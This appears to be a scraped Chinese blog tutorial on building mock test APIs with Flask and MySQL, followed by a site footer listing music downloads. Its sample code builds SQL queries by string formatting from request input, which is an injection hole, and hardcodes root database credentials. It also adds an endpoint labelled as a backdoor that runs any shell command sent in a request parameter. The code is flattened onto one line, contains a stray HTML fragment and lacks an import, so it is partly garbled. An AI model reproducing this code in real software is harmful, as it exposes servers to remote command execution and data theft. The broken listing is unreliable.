圆月山庄资源网 Design By www.vgjia.com
本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下
#1.测试为什么要开发接口?
1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库
#2.开发接口的顺序
1)安装flask
flask是一个轻量级开发框架
pip install flask
2)开发一个接口
开发步骤:
1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()
import flask,json,pymysql server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务 def opt_db(sql): coon=pymysql.connect( host='192.168.109.132', user='root', passwd='123456', db='besttest', port=3306, charset='utf8' )#建立db链接 cur=coon.cursor()#建立游标 cur.execute(sql);#执行sql if sql.strip()[:6].upper()=='SELECT': res=cur.fetchall()#获取sql返回 else: coon.commit() res='ok' cur.close()#关闭游标 coon.close()#关闭db链接 return res #get请求, 请求路径ip:port/index @server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求) def index(): res={'msg':'这是我开发的第一个接口','msg_code':'0'} return json.dumps(res,ensure_ascii=False,indent=4) #post请求, 请求路径ip:port/reg @server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求) def reg(): username=flask.request.values.get('username')#获取接口入参 pwd=flask.request.values.get('passwd') if username and pwd: sql='select * from syz_stu where username="%s";'%username if opt_db(sql): res={'msg':'用户已存在','msg_code':2001}#2001用户已存在 else: insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd) opt_db(insert_sql) res={'msg':'注册成功','msg_code':'0'} else: res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填 return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口 @server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error def cmd(): cmd = flask.request.values.get('cmd')#接口的入参 res = os.popen(cmd)#执行用户命令 return res.read()#返回执行结果 #http://127.0.0.1:8999/error"color: #800000">http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
标签:
python,mock,接口
圆月山庄资源网 Design By www.vgjia.com
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
圆月山庄资源网 Design By www.vgjia.com
暂无评论...
更新日志
2024年11月06日
2024年11月06日
- 雨林唱片《赏》新曲+精选集SACD版[ISO][2.3G]
- 罗大佑与OK男女合唱团.1995-再会吧!素兰【音乐工厂】【WAV+CUE】
- 草蜢.1993-宝贝对不起(国)【宝丽金】【WAV+CUE】
- 杨培安.2009-抒·情(EP)【擎天娱乐】【WAV+CUE】
- 周慧敏《EndlessDream》[WAV+CUE]
- 彭芳《纯色角3》2007[WAV+CUE]
- 江志丰2008-今生为你[豪记][WAV+CUE]
- 罗大佑1994《恋曲2000》音乐工厂[WAV+CUE][1G]
- 群星《一首歌一个故事》赵英俊某些作品重唱企划[FLAC分轨][1G]
- 群星《网易云英文歌曲播放量TOP100》[MP3][1G]
- 方大同.2024-梦想家TheDreamer【赋音乐】【FLAC分轨】
- 李慧珍.2007-爱死了【华谊兄弟】【WAV+CUE】
- 王大文.2019-国际太空站【环球】【FLAC分轨】
- 群星《2022超好听的十倍音质网络歌曲(163)》U盘音乐[WAV分轨][1.1G]
- 童丽《啼笑姻缘》头版限量编号24K金碟[低速原抓WAV+CUE][1.1G]